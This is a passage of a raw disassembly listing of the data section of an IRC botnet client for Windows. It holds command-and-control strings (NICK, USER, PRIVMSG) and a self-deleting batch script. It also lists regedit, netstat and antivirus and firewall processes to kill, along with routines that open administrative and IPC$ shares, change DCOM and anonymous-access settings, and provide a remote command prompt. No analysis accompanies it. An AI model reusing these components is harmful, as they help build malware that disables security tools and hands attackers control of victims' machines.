4Ah ; DATA XREF: ___:00438354o dword_438E04 dd 48h ; DATA XREF: ___:00438350o dword_438E08 dd 47h ; DATA XREF: ___:0043834Co dword_438E0C dd 46h ; DATA XREF: ___:00438348o ; ___:004386C0o dword_438E10 dd 44h ; DATA XREF: ___:00438344o dword_438E14 dd 53h ; DATA XREF: ___:00438340o dword_438E18 dd 50h ; DATA XREF: ___:00438338o dword_438E1C dd 4Fh ; DATA XREF: ___:00438334o dword_438E20 dd 55h ; DATA XREF: ___:0043832Co word_438E24 dw 59h ; DATA XREF: sub_41A19D+38r ; ___:00438328o align 4 dword_438E28 dd 54h ; DATA XREF: ___:00438324o dword_438E2C dd 52h ; DATA XREF: ___:00438320o dword_438E30 dd 45h ; DATA XREF: ___:0043831Co dword_438E34 dd 57h ; DATA XREF: ___:00438318o dword_438E38 dd 51h ; DATA XREF: ___:00438314o dword_438E3C dd 62h ; DATA XREF: ___:00438308o ; ___:004385FCo ... dword_438E40 dd 78h ; DATA XREF: ___:004382FCo ; ___:00438654o dword_438E44 dd 7Ah ; DATA XREF: ___:004382F8o ; ___:0043865Co ... dword_438E48 dd 6Ch ; DATA XREF: ___:004382F4o ; ___:00438628o dword_438E4C dd 68h ; DATA XREF: ___:004382E8o ; ___:00438614o dword_438E50 dd 67h ; DATA XREF: ___:004382E4o ; ___:00438610o ... dword_438E54 dd 66h ; DATA XREF: ___:004382E0o ; ___:0043860Co dword_438E58 dd 79h ; DATA XREF: ___:004382C4o ; ___:00438658o dword_438E5C dd 77h ; DATA XREF: ___:004382B4o ; ___:00438650o dword_438E60 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177CF+B1o dword_438E6C dd 323334h ; DATA XREF: sub_4177CF+79o dword_438E70 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177CF+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BA+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADD+BCo ; sub_417ADD+175r ... align 4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418293+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418359+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418359+48o align 4 unk_438FE8 db 2Dh ; - ; DATA XREF: sub_4184E1+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_439018 db 2Dh ; - ; DATA XREF: sub_4184E1+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 10h dword_439040 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4184E1+5Co dd 65726165h, 64h, 0 off_439060 dd offset aAdd ; DATA XREF: sub_4186C1+60r ; sub_418A98+51r ... ; "Add" off_439064 dd offset aAdded ; DATA XREF: sub_4186C1+2Dr ; sub_418A98+83r ... ; "Added" dword_439068 dd 0 ; DATA XREF: sub_4186C1+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 4390D4h, 4390CCh, 2, 4390C0h, 4390B4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:00439094o aStop_0 db 'Stop',0 ; DATA XREF: ___:00439090o align 4 aStarted db 'Started',0 ; DATA XREF: ___:00439088o aStart_0 db 'Start',0 ; DATA XREF: ___:00439084o align 4 aListed db 'Listed',0 ; DATA XREF: ___:0043907Co align 4 aList_1 db 'List',0 ; DATA XREF: ___:00439078o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:00439070o aDelete_0 db 'Delete',0 ; DATA XREF: ___:0043906Co align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_439064o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_439060o unk_439128 db 2Dh ; - ; DATA XREF: sub_4186C1+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_43914C db 2Dh ; - ; DATA XREF: sub_4186C1+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_439178 db 2Dh ; - ; DATA XREF: sub_4186C1+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4187DD:loc_4188E7o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4187DD:loc_4188E0o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4187DD:loc_4188D9o db ' correct access rights.',0 align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188D2o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4187DD:loc_4188C4o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4187DD:loc_4188BDo db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188B6o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4187DD:loc_41888Bo align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4187DD:loc_418884o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4187DD:loc_41887Do db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4187DD:loc_418876o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4187DD:loc_41884Bo db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4187DD:loc_418841o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4187DD:loc_418837o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4187DD:loc_418823o align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895B+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_41895B:loc_418A27o aStarting db ' Starting',0 ; DATA XREF: sub_41895B:loc_418A20o aStoping db ' Stoping',0 ; DATA XREF: sub_41895B:loc_418A19o aRunning db ' Running',0 ; DATA XREF: sub_41895B:loc_418A12o aContinuing db ' Continuing',0 ; DATA XREF: sub_41895B:loc_418A0Bo aPausing db ' Pausing',0 ; DATA XREF: sub_41895B:loc_418A04o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895B:loc_4189FDo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895B+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41895B+25o align 4 unk_4396CC db 2Dh ; - ; DATA XREF: sub_418A98+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 10h dword_4396F0 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418A98+8Ao dd 73252720h, 27h unk_43970C db 2Dh ; - ; DATA XREF: sub_418A98+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o align 10h aNo db 'No',0 ; DATA XREF: sub_418C8E+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_418C8E+B5o unk_439758 db 2Dh ; - ; DATA XREF: sub_418C8E+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418C8E+26o align 4 unk_4397B8 db 2Dh ; - ; DATA XREF: sub_418DAF+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h unk_4397E0 db 2Dh ; - ; DATA XREF: sub_418DAF+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h unk_439810 db 2Dh ; - ; DATA XREF: sub_418DAF+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 10h unk_439830 db 2Dh ; - ; DATA XREF: sub_418EF6+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF6+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o align 10h aUser_1 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo align 4 unk_4399EC db 2Dh ; - ; DATA XREF: sub_4192DF+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_4 db ' %S',0 ; DATA XREF: sub_4192DF+BEo align 10h unk_439A20 db 2Dh ; - ; DATA XREF: sub_4192DF+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o align 10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41945F:loc_419543o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41945F+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41945F:loc_41950Ao aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41945F:loc_4194FCo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41945F:loc_4194AEo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo align 4 dword_439D28 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419593+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_439D54 db 2Dh ; - ; DATA XREF: sub_419593+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_439D80 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_439E88 dd offset dword_439E7C dd offset dword_439E70 dd offset dword_439E64 dd offset dword_439E58 dd offset dword_439E4C dd offset dword_439E3C dd offset dword_439E30 dd offset dword_439E24 dd offset dword_439E18 dd offset dword_439E0C dd offset dword_439DFC dd offset dword_439DF0 dd offset dword_439DE0 dword_439DE0 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo ; ___:00439DDCo dword_439DF0 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439DD8o dword_439DFC dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439DD4o dword_439E0C dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439DD0o dword_439E18 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439DCCo dword_439E24 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439DC8o dword_439E30 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439DC4o dword_439E3C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439DC0o dword_439E4C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:00439DBCo dword_439E58 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:00439DB8o dword_439E64 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:00439DB4o dword_439E70 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:00439DB0o dword_439E7C dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:00439DACo dword_439E88 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:00439DA8o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439DA4o align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439DA0o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:00439D9Co align 10h aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:00439D98o align 10h aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:00439D94o align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:00439D90o align 4 aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:00439D8Co aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:00439D88o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:00439D84o align 10h aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_439D80o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o align 4 unk_439F38 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_439F5C db 2Dh ; - ; DATA XREF: sub_4198EB+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 10h unk_439F80 db 2Dh ; - ; DATA XREF: sub_4198EB+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o unk_439FB0 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_439FE0 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_43A008 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_43A038 db 2Dh ; - ; DATA XREF: sub_419C64+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_43A06C db 2Dh ; - ; DATA XREF: sub_419C64+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h off_43A090 dd offset dword_43A0C8 ; DATA XREF: sub_419E79+1B3o ; sub_41A19D+17Ao align 8 dd offset dword_43A0C0 align 10h off_43A0A0 dd offset dword_43A0BC ; DATA XREF: sub_41A19D+1E3o dd offset dword_43A0B8 dd offset dword_43A0B4 dd offset dword_43A0B0 dword_43A0B0 dd 5C3A44h ; DATA XREF: sub_419E79+217o ; ___:0043A0ACo dword_43A0B4 dd 2444h ; DATA XREF: ___:0043A0A8o dword_43A0B8 dd 5C3A43h ; DATA XREF: ___:0043A0A4o dword_43A0BC dd 2443h ; DATA XREF: ___:off_43A0A0o dword_43A0C0 dd 494D4441h, 244Eh ; DATA XREF: ___:0043A098o dword_43A0C8 dd 24435049h, 0 ; DATA XREF: ___:off_43A090o dword_43A0D0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o ; sub_41A19D+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_43A100 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 4 dword_43A128 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_43A154 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 dword_43A178 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_43A1A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 dword_43A1C8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo ; sub_41A19D:loc_41A2CBo aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_43A1F8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_43A234 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_43A268 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo ; sub_41A19D+EDo align 4 dword_43A2B8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o ; sub_41A19D+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_43A2E8 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_419E79:loc_419EE6o dd 62617369h, 2E64656Ch, 0 dword_43A308 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o ; sub_41A19D+54o align 4 dword_43A338 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A19D+230o align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A19D+219o dword_43A368 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co ; sub_41A19D:loc_41A40Do aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_43A390 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o ; sub_41A19D+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_43A3B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_43A3EC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_43A424 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_43A464 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A19D:loc_41A20Ao dd 6C62616Eh, 2E6465h dword_43A480 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_43A4D8 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41A6AE+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o dword_43A6F0 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AA42+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A7CC dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: 